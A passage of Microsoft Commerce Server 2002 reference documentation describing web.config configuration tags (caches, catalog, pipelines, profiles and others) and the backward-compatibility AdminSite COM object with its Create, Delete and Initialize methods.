The application tag is the root tag of the Commerce Server-specific configuration section in the web.config file. This tag stores basic configuration settings for the application.

In any of the modes, trace messages and Debug exceptions (Checked mode only) are published using a DebugContext instance. The Commerce Server .NET Application Framework provides a default instance (created by CommerceApplicationModule) that logs messages using the ASP.NET tracing mechanism. A Commerce Server site could potentially replace the DebugContext instance with a custom instance that could log the messages to a file or database, for example.

The following table lists the attributes of the application tag.

Attribute Data Type Description
siteName String The name of the site to which the application belongs.

This attribute is required.
debugLevel String The debug level of the site: checked, debug, or production.
  • Checked mode is a flag for intensive runtime checks. Checked mode is a superset of Debug mode. It is recommended to run a site in Checked mode before deploying it into production.
  • Debug mode generates debug trace messages that may be helpful in troubleshooting a Commerce Server site while the site is live in production. Forgoes the more intensive checks performed in Checked mode.
  • Production mode has no special checks, only operation messages are traced.

This attribute can be used by other components to determine how to handle exceptions. The default value is production mode.

This attribute is required.

Example

<application siteName="sitename" debugLevel="Checked|Debug|Production">

See Also

Configuration Services

DebugContext Class


authentication Tag

The authentication tag is used to configure the authentication settings used by the CommerceAuthenticationModule class. The detectCookies attribute determines whether or not the application will attempt to detect if the current user's browser is configured to accept cookies or not, enabling applications to fallback into URL mode authentication.

The following table lists the attributes of the authentication tag.

Attribute | Data Type | Description
detectCookies | Boolean | Indicates if the current user's browser is configured to accept cookies or not. This attribute is required.

Example

<authentication detectCookies="true"/>

See Also

Configuration Services

AuthenticationInfo Class

AuthManager Class

AuthTicket Class

CommerceAuthenticationModule Class


caches Tag

The caches tag is a container element for cache tags that are used to configure CacheManager object-based caches in the application. The cache configuration supports a number of default configurations for advertising, discounts, and other common Commerce Server caches. In each case, the cache type has its own default options associated with it; however, the default options can be overridden.

The caches tag contains two tags: cache and config.

cache Tag

This tag defines the beginning of a new cache definition in the web.config file. It can be used both as a container and a marker element, depending on whether or not extended configuration settings (config tags) are required.

The following table lists the attributes of the cache tag.

Attribute | Data Type | Description
name | String | The name of the cache. This attribute is required.
type | String | The type of cache to be configured. Valid values are: Advertising, Discounts, QCI, Tax, Shipping, and Custom. If a known type is specified, then default values are provided for all attributes. Each default value is described in the Cache Types section. The value type is Custom. This attribute is optional.
loaderProgId | String | The COM ProgID of the object used for seeding the cache. This attribute is required if the cache type is set to Custom.
writerProgId | String | The COM ProgID of the object used for writing cache changes to an external source. This attribute is optional.
cacheObjectProgId | String | Used for specifying the object used as transient storage for cached data. The default value is Commerce.Dictionary. This attribute is optional.
refreshInterval | Integer | The number of seconds until the cache expires and the loader is invoked to refill the cache. The default value is zero (0). This attribute is optional.
retryInterval | Integer | The number of seconds the cache manager will wait before attempting to refill the cache if an error is encountered. The default value is 60. This attribute is optional.
maxSize | Integer | Used only when the type attribute is set to Custom or QCI. If specified, the value is set in the CacheSize key of the Cache configuration dictionary used by the cache loader component as specified by the loaderProgId attribute. This attribute is optional.

config Tag

This tag is used for setting arbitrary key/value pairs on the cache configuration dictionary. The cache configuration dictionary created by the runtime will be supplied to both the loader and writer components, and is used as both the LoaderConfig and the WriterConfig dictionary. If a cache has both loader and writer components and wants to provide distinct configuration, it must be done programmatically by accessing the CommerceCache instance in the CommerceCacheCollection created for the site.

If values for data types other than string need to be set, it must be done programmatically.

The following table lists the attributes of the config tag.

Attribute | Data Type | Description
key | String | A key name to set as part of the cache configuration. This attribute is required.
value | String | The value for the specified key. This attribute is required.

Cache Types

If a known type is specified for the type attribute, a set of default values for the configuration is provided. These default values can be overridden programmatically or by setting the values in the configuration itself.

Some of the Cache Types have a dependency on a specific Commerce Server resource. When the CommerceCacheModule creates the caches it also runs checks to ensure that all resource dependencies are satisfied. A CommerceResourceDependencyException is thrown if not.

The following tables list the default values for each configuration setting on a per-cache type basis.

Advertising

The advertising cache has a dependency on the Campaigns resource.

Attribute | Value
loaderProgId | Commerce.CSFLoadAdvertisements
writerProgId | Commerce.CSFWriteEvents
refreshInterval | 300
retryInterval | 60

Discounts

The discounts cache has a dependency on the Campaigns resource.

Attribute | Value
loaderProgId | Commerce.CSFLoadDiscounts
writerProgId | Commerce.CSFWriteEvents
refreshInterval | 0
retryInterval | 60

QCI

The QCI cache has a dependency on the Transactions Config resource.

Attribute | Value
loaderProgID | Commerce.LRUCacheFlush
writerProgID | Null
refreshInterval | 0
retryInterval | 60
cacheObjectProgID | Commerce.LRUCache

Shipping

The shipping cache has a dependency on the Transaction Config resource.

Attribute | Value
loaderProgId | Commerce.ShippingManagerCache
writerProgId | None
refreshInterval | 0
retryInterval | 60

Tax

The tax cache has a dependency on the Transaction Config resource.

Attribute | Value
loaderProgId | Commerce.SampleRegionalTaxCache
writerProgId | None
refreshInterval | 0
retryInterval | 60

Custom

Attribute | Value
loaderProgId | None
writerProgId | None
refreshInterval | 300
retryInterval | 60

Example

<caches>
      <cache name="name"
             type="Advertising|Discounts|QCI|Shipping|Tax|Custom"
             loaderProgId="progid"
             writerProgId="progid"
             cacheObjectProgId="progid"
             refreshInterval="0"
             retryInterval="60"
             maxSize="10">

             <config key="key" value="value" />
      </cache>
</caches>

See Also

Configuration Services

CommerceCache Class

CommerceCacheModule Class


catalog Tag

The catalog tag is used for configuring items specific to the Product Catalog System. There is no configuration that can be done using the catalog tag alone, it is simply a container for other tags.

The catalog tag contains two tags: joinTable and catalogSets.

joinTable Tag

This tag is used for initializing the catalog runtime objects to automatically support joining data with an external data source. It exists within a catalog tag because it is specific to the Product Catalog System. Only a single instance of the joinTable tag can exist at a time.

Joins can be performed on different tables, but only one table can be joined at a time. This cannot be done using multiple tags in the web.config file; see the SetJoinTable method for more infomation.

The following table lists the attributes of the joinTable tag.

Attribute | Data Type | Description
joinType | String | The type of join being done. The following values are valid: innerJoin, outerJoinFull, outerJoinLeft, and outerJoinRight. For more information, see CatalogJoinType Enumeration. This attribute is required.
targetTableName | String | The name of the target table. This attribute is required.
sourceJoinKey | String | The name of the column that will act as the join key from the source table. This attribute is required.
targetJoinKey | String | The name of the column that will act as the join key in the target table. This attribute is required.

catalogSets Tag

This tag is used for configuring the names of the catalog sets that will be used by the runtime to associate users with specific groups of catalogs.

The following table lists the attributes of the catalogSets tag.

Attribute | Data Type | Description
defaultAuthenticated | String | The name of the default catalog set to use for authenticated users. The catalog set should refer to a valid catalog set as configured through the Catalog Sets module in Commerce Server Business Desk. For more information about creating a catalog set, see Creating a Catalog Set. This attribute is required.
defaultAnonymous | String | The name of the default catalog set to use for anonymous users. This attribute is required.

Example

<catalog>
    <joinTable
        joinType="innerJoin | outerJoinFull | outerJoinLeft | outerJoinRight"
        targetTableName="target-table"
        sourceJoinKey="source-join-key"
        targetJoinKey="target-join-key" />
    <catalogSets
        defaultAuthenticated="catalog-set-name"
        defaultAnonymous="catalog-set-name" />
</catalog>

See Also

Configuration Services

Creating a Catalog Set

CatalogContext Class


contentSelection Tag

The contentSelection tag denotes the definition of a set of Content Selection Applications.

The contentSelection tag contains one tag: add.

add Tag

This tag denotes a new Content Selection Application.

The following table lists the attributes of the add tag.

Attribute | Data Type | Description
name | String | The name of the Content Selection Application. This attribute is used as the reference to the application in the runtime. This attribute is required.
cacheName | String | The name of the data cache used by the application. This attribute is required.
selectionPipeline | String | The name of the pipeline used for selecting the appropriate content. This name should correspond to a pipeline defined in the <pipelines> section of the web.config file. This attribute is required.
eventPipeline | String | The name of the pipeline used for recording events. This name should correspond to a pipeline defined in the <pipelines> section of the web.config file.
preloadCache | Boolean | Determines whether or not that cache will be preloaded on application startup. It is recommended to preload the cache for discount type caches if the OrderDiscount pipeline component is used within a transactional Business Processing pipeline. The default value is False. This attribute is required.
redirectURL | String | URL used for handling the click request for an advertisement or other piece of clickable content retrieved by the CSF. This attribute is optional. The default value is empty. This attribute is required.

Example

<contentSelection>
    <add name="application-name"
        cacheName="dependent cache name"
        selectionPipeline="dependent csf pipeline name"
        eventPipeline="dependent event pipeline name"
        preloadCache="true|false"
        redirectUrl="relative url"
    />
</contentSelection >

See Also

Configuration Services

CommerceContentSelectionModule Class

ContentSelectionContext Class


messageManager Tag

The messageManager tag maps the resources required by the Order Processing pipeline (OPP) from a satellite assembly to the MessageManager object. Each language that will be loaded into the MessageManager object must be specified in this configuration section, and the individual resource identifiers to be mapped from the .RESX file to the MessageManager object must be specified in the configuration. The baseName attribute is used to specify the root name of the resources. For example, the root name for the resource file named "MyResource.en-US.resources" is "MyResource". The assembly attribute is used to specify the name of the assembly containing the localized resources.

For more information about message handling in the Commerce Server .NET Application Framework, see Using Message Manager.

The messageManager tag contains two tags: cultures and resources.

cultures Tag

This tag denotes a new Content Selection Application.

The following table lists the attributes of the cultures tag.

Attribute | Data Type | Description
default | String | The default language used by the MessageManager object. This culture is used as the "fallback" culture in the event the OPP cannot locate a resource specific for the selected culture. The format of this string is identical to the "specific culture" format used by the .NET Frameworks: <neutral-culture>-<specific-culture> For example, U.S. English would be en-EN. This attribute is required.

culture Tag

This tag denotes an instance of a culture that will be mapped into the MessageManager object.

The following table lists the attributes of the culture tag.

Attribute | Data Type | Description
id | String | The culture ID for this culture. The format of this string is identical to the specific culture format used by the .NET Framework: <neutral-culture>-<specific-culture> For example, U.S. English would be en-EN. This attribute is required.

resources Tag

This tag is a container for the resources that will be mapped from the .RESX file into the MessageManager object.

The resources tag has no attributes.

resource Tag

This tag denotes a specific resource to be mapped from the .RESX file to the MessageManager object.

The following table lists the attributes of the resource tag.

Attribute | Data Type | Description
id | String | The identifier assigned to the resource in the .RESX file. This attribute is required.

Example

<messageManager>
    <cultures default="culture-id">
        <culture id="culture-id"/>
    </cultures>
    <resources>
        <resource id="resource-id"/>
    </resources>
</messageManager>

See Also

Configuration Services


pipelines Tag

The pipelines tag is used for configuring the use of various pipelines in the application. Each pipeline is configured with its own pipeline tag. This tag supports several attributes that determine the type of pipeline object that will be used to run the pipeline, for example, OrderPipeline, PooledPipeline, or PooledTxPipeline. Only the name and path attributes of the pipeline tag are required attributes, all other attributes contain default values that will be used if the attribute is unspecified.

Note

  • If you enable pipeline logging from the web.config file, you must also create a /pipelines/log directory manually in order for the runtime to successfully run and log pipeline executions.

The pipelines tag contains one tag: pipeline tag.

pipeline Tag

This tag defines a new pipeline in the web.config file. Each instance of this tag corresponds to an instance in the PipelineCollection object stored in the application.

The following table lists the attributes of the pipeline tag.

Attribute | Data Type | Description
name | String | The name of the pipeline. This name will be used to access the pipeline in the application. This attribute is required.
type | String | The role of the pipeline in the application. The acceptable options are CSF and Order. The default type is Order. This attribute is optional.
transacted | Boolean | Determines whether a transacted pipeline object should be used for running the pipeline. This attribute is optional for order pipelines, but for CSF pipelines the value cannot be set to True.
path | String | The path to the .pcf file that defines the pipeline. The path should be specified relative to the application, for example, ".\pipelines\basket.pcf". This attribute is required.
loggingEnabled | Boolean | Determines whether or not pipeline logging is enabled. When set to True, a pipeline log will be created in the relative path /pipelines/log. The log file will be named using the ID of the user making the corresponding request to run the pipeline, and the extension "pipelog" will be used for the log file name. If the user cannot be identified, the log file will be named based on the pipeline being run, for example "basket.pcf.pipelog". The default value is False. This attribute is required.

Example

<pipelines>
      <pipeline name="pipeline name"
             type="CSF|Order"
             transacted="true|false"
             path="path to .pcf file"
             logEnabled="true|false"
      />
</pipelines>

See Also

Configuration Services

CommerceApplicationModule Class

ContentSelectionPipeline Class

OrderPipeline Class

PipelineCollection Class


profiles Tag

The profiles tag is used for configuring the user profiles and catalog sets functionality. It describes the high-level schema implemented by the User and Organization profiles to the runtime. This information is used by the CommerceContext object in its implementation of the userProfile and organizationProfile smart properties and in the CommerceContext.GetGatalogsForUser method. There is no configuration that can be done using the profiles tag alone, it is simply a container for other tags.

The profiles tag contains three optional tags: encryption, userProfile, and organizationProfile.

encryption Tag

This tag denotes the description of the encryption key configured in the Profiling System.

The encryption tag is required if the application will read or write asymmetrically encrypted profile members, otherwise it is optional. There is no configuration that can be done using the encryption tag alone, it is simply a container for other tags.

The encryption tag contains one tag, the keys tag.

keys Tag

The keys tag contains one tag, the add tag. A maximum of three add tags may be added to a keys tag.

The following table lists the attribute of the keys tag.

Attribute Data Type Description
keyIndex Integer Denotes the current key pair used for encryption/decryption.

The set of valid values is 1 or 2.

If the keyIndex attribute is set to 1, then the add tag type attribute values of publicKey and privateKey1 form the current key pair.

If the keyIndex attribute is set to 2, then the add tag type attribute values of publicKey and privateKey2 form the current key pair.

This attribute is required if the application writes to asymmetrically encrypted profile properties. This attribute must be used in conjunction with an add tag whose type attribute is PublicKey.

add Tag

A maximum of three add tags may be added to a keys tag.

The following table lists the attributes of the add tag.

Attribute Data Type Description
type String The type of public/private keys used for encryption/decryption.

The set of valid set of case sensitive values are publicKey, privateKey1, and privateKey2. The publicKey is required if the keyIndex attribute is specified as they must be provided together.

The publicKey is required if the application writes to asymmetrically encrypted profile properties or if the keyIndex attribute is set, as they keyIndex attribute must be used in conjunction with the publicKey.

The privateKey1 is required if the application reads asymmetrically encrypted profile properties that were encrypted when the keyIndex attribute was set to 1. Otherwise the privateKey1 is optional.

The privateKey2 is required if the application reads asymmetrically encrypted profile properties that were encrypted when the keyIndex attribute was set to 2. Otherwise this attribute is optional.

This attribute is case sensitive.
value String The hexadecimal string for the type attribute specified. Only keys generated using the Microsoft Windows CryptoAPI routines are valid. For more information about generating keys for the value attribute, see Generating public and private keys.

This attribute is case sensitive.

To determine the keyIndex value used to encrypt the profile, query the profile member used to save the keyIndex value. Definition of a profile member used to save the keyIndex attribute is mandatory in profiles using asymmetric encryption. For more information about asymmetric encryption, see Managing Encrypted Profile Properties .

There are several acceptable combinations of the encryption tag attributes. For encryption, the recommended combination is PublicKey + KeyIndex. For decryption, the recommended combination is PrivateKey1 + PrivateKey2. For both encryption and decryption, the recommended combination is PublicKey + KeyIndex + PrivateKey1 + PrivateKey2.

For more information about generating public and private key pairs or defining encrypted members on profiles, see Managing Encrypted Profile Properties .

userProfile Tag

This tag denotes the description of the User profile configured in the Profiling System.

The following table lists the attributes of the userProfile tag.

Attribute | Data Type | Description
profileDefinition | String | The name of the profile definition that corresponds to a user in the Profiling System. This attribute is optional. Default value is UserObject.
userIdProperty | String | The property in the user profile that stores the unique user ID. This should not be confused with the logon name; the user ID is the primary key used to distinguish all instances of the user profile from each other. This attribute is optional. Default value is user_id.
organizationIdProperty | String | The property in the user profile that stores the unique identifier of the instance of the organization profile with which the user profile is associated. This attribute is optional. Default value is AccountInfo.org_id.
catalogSetIdProperty | String | The property in the user profile that stores the catalog set or sets with which a particular instance of the user profile is associated. This attribute is optional. Default value is AccountInfo.user_catalog_set.

organizationProfile Tag

This tag denotes the description of the Organization profile configured in the Profiling System.

The following table lists the attributes of the organizationProfile tag.

Attribute | Data Type | Description
profileDefinition | String | The name of the profile definition that corresponds to an organization in the Profiling System. This attribute is optional. Default value is Organization.
organizationIdProperty | String | The property in the organization profile that stores the unique identifier of the instance of the organization profile that distinguishes it from all other instances of organization profiles. This attribute is optional. Default value is GeneralInfo.org_id.
catalogSetIdProperty | String | The property in the organization profile that stores the catalog set or sets with which a particular instance of the organization profile is associated. This attribute is optional. Default value is GeneralInfo.org_catalog_set.

Example

<profiles>
    <userProfile
        profileDefinition="UserObject"
        userIdProperty="GeneralInfo.logon_name"
        organizationIdProperty="AccountInfo.org_id"
        catalogSetIdProperty="AccountInfo.user_catalog_set"
    />
    <organizationProfile
        profileDefintion="Organization"
        organizationIdProperty="GeneralInfo.org_id"
        catalogSetIdProperty="GeneralInfo.org_catalog_set"
    />

   <encryption>
       <keys keyIndex="1">
           <add type="publicKey" value="<hex-string>" />
           <add type="privateKey1" value="<hex-string>" />
           <add type="privateKey2" value="<hex-string>" />
       </keys>
  </encryption>

</profiles>

See Also

Configuration Services

Business Desk Profiles

CommerceContext Class

Profile Class


COM Object Reference

This section provides detailed information about the Component Object Model (COM) objects supplied with Microsoft Commerce Server 2002. Parallel reference pages are provided to describe the objects from the perspective of two different programming languages:

  • Microsoft Visual Basic/Microsoft Visual Basic Scripting Edition (VBScript)
  • C++

Note

  • Access to the Commerce Server objects from Java and Microsoft JScript is not supported.

This section contains:

  • Backward Compatibility Objects. Provides reference pages and programming concepts for backward compatibility objects.
  • Business Analysis Objects. Provides reference pages, programming concepts, and examples for business analysis objects.
  • Cache Objects. Provides reference pages, programming concepts, and examples for cache objects.
  • Configuration Objects. Provides reference pages, programming concepts, and examples for configuration objects.
  • Core Objects. Provides reference pages, programming concepts, and examples for core objects.
  • Migration Objects. Provides reference pages for migration objects.
  • Order Processing Objects. Provides reference pages, programming concepts, and examples for order processing objects.
  • Pipeline Objects. Provides reference pages, programming concepts, and examples for pipeline objects.
  • Product Catalog Objects. Provides reference pages, programming concepts, and examples for product catalog objects.
  • Profiling System Objects. Provides reference pages, programming concepts, and examples for profiling system objects.
  • Targeting Objects. Provides reference pages, programming concepts, and examples for targeting objects.
  • Alphabetic Listing of COM Objects. Provides a list of all COM objects available in Commerce Server 2002.
  • Managing COM Parameter Memory. Provides information about ownership of COM parameter memory before and after invoking COM objects.
  • Standard COM Errors. Provides information about the standard COM errors used by many of the Commerce Server COM objects to communicate failures to their callers.


Backward Compatibility Objects

The backward compatibility objects are used to gain access to site configuration values, to create and retrieve shopper IDs, and to simplify forms processing in Site Server 3.0 Commerce Edition sites.

Important

  • These object are included for backward compatibility with Site Server 3.0 Commerce Edition, and will not be supported in future releases of Commerce Server.

The Backward Compatibility Programming Concepts topic describes the major issues relating to the use of the backward compatibility objects.

Objects

Visual Basic Reference | C++ Invocation | Description
AdminSite | AdminSite | Provides read/write access to site configuration properties and allows site administration. This object is supplied for backward compatibility purposes only.
Page | Page | Provides formatting and validation methods that simplify forms processing in ASP pages. This object is supplied for backward compatibility purposes only.
StandardSManager | StandardSManager | Facilitates the run time creation and retrieval of user IDs. This object is supplied for backward compatibility purposes only.


Backward Compatibility Programming Concepts

The following topics contain descriptions for the objects that are considered backward compatibility objects.

AdminSite Object

StandardSManager Object

Page Object

AdminSite Object

Use this object to gain centralized access to the Site Server 3.0 Commerce Edition site configuration, so that you can configure and maintain the site.

This object provides read/write access to the configuration properties and has many functions that allow administration of Site Server 3.0 Commerce Edition sites.

Note:

  • You cannot use this object with Commerce Server 2002 sites. It is included only for backwards compatibility with Site Server 3.0 Commerce Edition.

See Also

Configuration Objects

StandardSManager Object

Use this object to facilitate the run-time creation and retrieval of shopper IDs.

Note

  • This object is included only for purposes of backward compatibility with Site Server 3.0 Commerce Edition; it has been replaced by the AuthManager object.

See Also

AuthManager Object

Page Object

Use this object to simplify forms processing in Active Server Pages (ASP).

The Page object methods fall into the following categories:

  • Formatting methods. These methods include Encode, Option, and Check. These methods make it possible for you to easily format HTML page items, and where applicable, to determine HTML item values based on a run-time evaluation of other variables used in your page.
  • Validation methods. These methods begin with Request. They are used to retrieve values from a URL query string, convert the values to given data types based on a locale value, and then validate these values against a specified range.

For more information, see the AuthManager and AppFrameWork objects, which provide similar functionality to many of the methods in this object.


AdminSite Object [C++]

AdminSite Object [Visual Basic]

Use this object to gain centralized access to the Site Server 3.0 Commerce Edition site configuration, so that you can configure and maintain the site.

Important

  • You cannot use this object with Commerce Server 2002 sites. It is included only for backwards compatibility with Site Server 3.0 Commerce Edition.
ProgID: | Commerce.AdminSite (Externally creatable)
COM Class Name: | AdminSite
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminSite
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminSite interface to access the properties and methods of the AdminSite object.

Methods

[C++]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.
[Visual Basic]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site\Manager\Config\Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.

Properties

[C++]
Property | Type | Description
Directory | BSTR | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | VARIANT | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.
[Visual Basic]
Property | Type | Description
Directory | String | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | Variant | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | Long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.


AdminSite Methods [C++]

AdminSite Methods [Visual Basic]

Methods

[C++]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.
[Visual Basic]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site\Manager\Config\Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.

Remarks

The AdminSite object provides methods for administering a site, such as specifying data sources and user accounts. The object keeps a number of properties related to the configuration in the site dictionary, which is an implementation of a Dictionary object called MSCSSite. These properties include the short and long names of the site, the secure host, the non-secure host, and the names of other Dictionary objects such as lists of named connection strings and named queries.

See Also

Backward Compatibility Objects


IAdminSite::Create Method [C++]

AdminSite.Create Method [Visual Basic]

Use this method to create a Site Server 3.0 Commerce Edition site and to optionally create an application and the Config\SQL\SqlSvr and Config\SQL\Oracle subdirectories.

Definition

[C++]
HRESULT IAdminSite::Create(
  BSTR bstrInstance,
  BSTR bstrVDir,
  BSTR bstrDir,
  long nAuthorization,
  VARIANT_BOOL bIsApplication,
  VARIANT_BOOL bIsCommerceSite
);
[Visual Basic]
Sub Create(
  bstrInstance As String,
  bstrVDir As String,
  bstrDir As String,
  nAuthorization As Long,
  bIsApplication As Boolean,
  bIsCommerceSite As Boolean
)

Parameters

bstrInstance [C++]
[in] A numeric value expressed as a BSTR representing a Web site. For the default Web site, use (1).
bstrInstance [Visual Basic]
A numeric value expressed as a String representing a Web site. For the default Web site, use (1).
bstrVDir [C++]
[in] A BSTR that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).
bstrVDir [Visual Basic]
A String that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).
bstrDir [C++]
[in] A BSTR that specifies the physical directory in which to create the site.
bstrDir [Visual Basic]
A String that specifies the physical directory in which to create the site.
nAuthorization [C++]
[in] A long that contains the authorization type.
nAuthorization [Visual Basic]
A Long that contains site authorization type.
bIsApplication [C++]
[in] A VARIANT_BOOL that controls whether an application is created for the site. If set to TRUE, an application is created for the site. Otherwise no application is created. This setting must be TRUE for a Site Server 3.0 Commerce Edition site.
bIsApplication [Visual Basic]
A Boolean that controls whether an application is created for the site. If set to True, an application is created for the site. Otherwise no application is created. This setting must be True for a Site Server 3.0 Commerce Edition site.
bIsCommerceSite [C++]
[in] A VARIANT_BOOL that controls whether SQL Server and Oracle subdirectories are created for the site. When set to TRUE, the method marks the site for administration by Site Server 3.0 Commerce Edition and creates the Directory\Config\SQL\SqlSvr and Directory\Config\SQL\Oracle subdirectories (where Directory is the value passed in the bstrDir parameter). When set to FALSE, the method creates the top level Directory directory only.
bIsCommerceSite [Visual Basic]
A Boolean that controls whether SQL Server and Oracle subdirectories are created for the site. When set to True, the method marks the site for administration by Site Server 3.0 Commerce Edition and creates the Directory\Config\SQL\SqlSvr and Directory\Config\SQL\Oracle subdirectories (where Directory is the value passed in the bstrDir parameter). When set to False, the method creates the top level Directory directory only.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An AdminSite object must be initialized before most of its other methods can be called (the Create and IsValidName methods are exceptions). An object that has been created by the Create method of the AdminSite object is automatically initialized and does not need an explicit call to its Initialize method.

The valid characters and length for a Web site name are determined by the restrictions on the names of Microsoft SQL Server tables. In addition, a short name must not conflict with another short name on the server.

Before you actually create a site, use the IsValidName method to ensure that the short name of the site is valid. The name must conform to several rules for forming valid names in many environments. For example, Commerce Server appends the short name of a site to database tables and to generated pages.

[Visual Basic]

Example

' oAdminSite is a Commerce.AdminSite object
' The szSite argument contains the site short name,
'  and szSiteRoot contains the physical directory.
AdminSite.Create ("1", szSite, NULL, szSiteRoot, true, true)

See Also

[C++] AdminSite Object

[C++] IAdminSite::Delete

[C++] IAdminSite::Initialize

[C++] IAdminSite::IsValidName

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Delete

[Visual Basic] AdminSite:Initialize

[Visual Basic] AdminSite.IsValidName


IAdminSite::Delete Method [C++]

AdminSite.Delete Method [Visual Basic]

Use this method to delete a Site Server 3.0 Commerce Edition site. The Delete method removes attributes of the site from the Internet Information Services (IIS) metabase (directories and databases are not removed).

Definition

[C++]
HRESULT IAdminSite::Delete(
);
[Visual Basic]
Sub Delete()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An AdminSite object must be initialized before most of its other methods can be called (the Create and IsValidName methods are exceptions). An object that has been created by the Create method of the AdminSite object is automatically initialized and does not need an explicit call to its Initialize method.

See Also

[C++] AdminSite Object

[C++] IAdminSite::Create

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Create


IAdminSite::Initialize Method [C++]

AdminSite.Initialize Method [Visual Basic]

Use this method to initialize the AdminSite object so that information related to the Site Server 3.0 Commerce Edition site can be loaded. The site is uniquely identified using the site short name and the server instance. The ReadDefaultProperties method uses this information to load the site properties.

Definition

[C++]
HRESULT IAdminSite::Initialize(
  BSTR bstrInstance,
  BSTR bstrVDir
);
[Visual Basic]
Sub Initialize(
  bstrInstance As String,
  bstrVDir As String
)

Parameters

bstrInstance [C++]
[in] A numeric value, expressed as a BSTR that represents a Web site.
bstrInstance [Visual Basic]
A numeric value, expressed as a String that represents a Web site.
bstrVDir [C++]
[in] A BSTR that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).
bstrVDir [Visual Basic]
A String that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

